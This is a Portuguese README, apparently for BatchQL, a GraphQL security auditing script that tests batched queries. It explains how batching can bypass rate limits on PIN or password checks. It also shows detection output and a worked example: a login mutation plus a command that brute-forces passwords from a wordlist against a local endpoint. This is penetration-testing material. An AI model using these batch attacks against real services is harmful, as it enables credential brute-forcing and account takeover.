
Script de auditoria de segurança GraphQL com foco na execução de consultas e mutações em lote.
BatchQL é um script de auditoria de segurança GraphQL com foco em realizar consultas e mutações GraphQL em lote. Este script não é complexo, e recebemos melhorias de bom grado.
Ao explorar o espaço do problema de ataques de lote GraphQL, descobrimos que existiam algumas postagens em blogs na internet, porém nenhuma ferramenta para realizar ataques de lote GraphQL.
Os ataques de lote GraphQL podem ser bastante sérios dependendo das funcionalidades implementadas. Por exemplo, imagine uma funcionalidade de redefinição de senha que espera um PIN de 4 dígitos enviado ao seu e-mail. Com esta ferramenta, você poderia tentar todas as 10 mil tentativas de PIN em uma única consulta GraphQL. Isso pode contornar quaisquer limites de taxa ou bloqueios de conta, dependendo dos detalhes de implementação do fluxo de redefinição de senha.
Esta ferramenta é capaz de detectar o seguinte:
Atualmente, esta ferramenta suporta apenas o envio de consultas baseadas em lista JSON para ataques de lote. Ela suporta cenários onde as variáveis estão incorporadas na consulta ou onde são fornecidas na entrada JSON.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
O comando acima faz o seguinte:
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080